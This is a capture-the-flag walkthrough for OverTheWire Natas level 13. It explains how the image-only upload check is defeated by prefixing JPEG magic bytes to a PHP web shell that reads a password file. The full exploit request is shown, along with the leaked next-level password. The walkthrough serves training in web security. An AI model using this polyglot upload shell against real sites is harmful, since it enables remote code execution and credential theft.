OverTheWire: Natas

Level 13 > Level 14

Another file upload.

natas13-01

[...]
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html> 

“For security reasons, we now only accept image files!” Damn!

Only one thing has changed since the last level, the addition of this check. Obviously this is what we have to defeat.

    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";

The documentation on this says it determines the file type by reading the ‘first bytes’ of the file. A php file will still execute with garbage outside of the <?php ?> tags, so we just need to find what values to prepend to our previous solution.

A comment on that page says we just need FF D8 to identify the file as a jpg, but it didn’t work for me. Looking into it further, I found this site which says we need four bytes - FF D8 FF E0.

Save the PHP string we used in the previous level to a file and add the special sauce in a hex editor (hexedit shown).

natas13-02

Upload the file and modify the POST request as in the previous level to our own value for filename.

-----------------------------889891975953420225799738043
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000
-----------------------------889891975953420225799738043
Content-Disposition: form-data; name="filename"

giantburrito.php
-----------------------------889891975953420225799738043
Content-Disposition: form-data; name="uploadedfile"; filename="natas13jpg.php"

����<?php echo exec("cat /etc/natas_webpass/natas14"); ?>
-----------------------------889891975953420225799738043--
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

The file <a href="upload/ve7evh8ayr.php">upload/ve7evh8ayr.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

Success. Ignore the four bytes we added and you’ve got the password.

natas13-03

Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1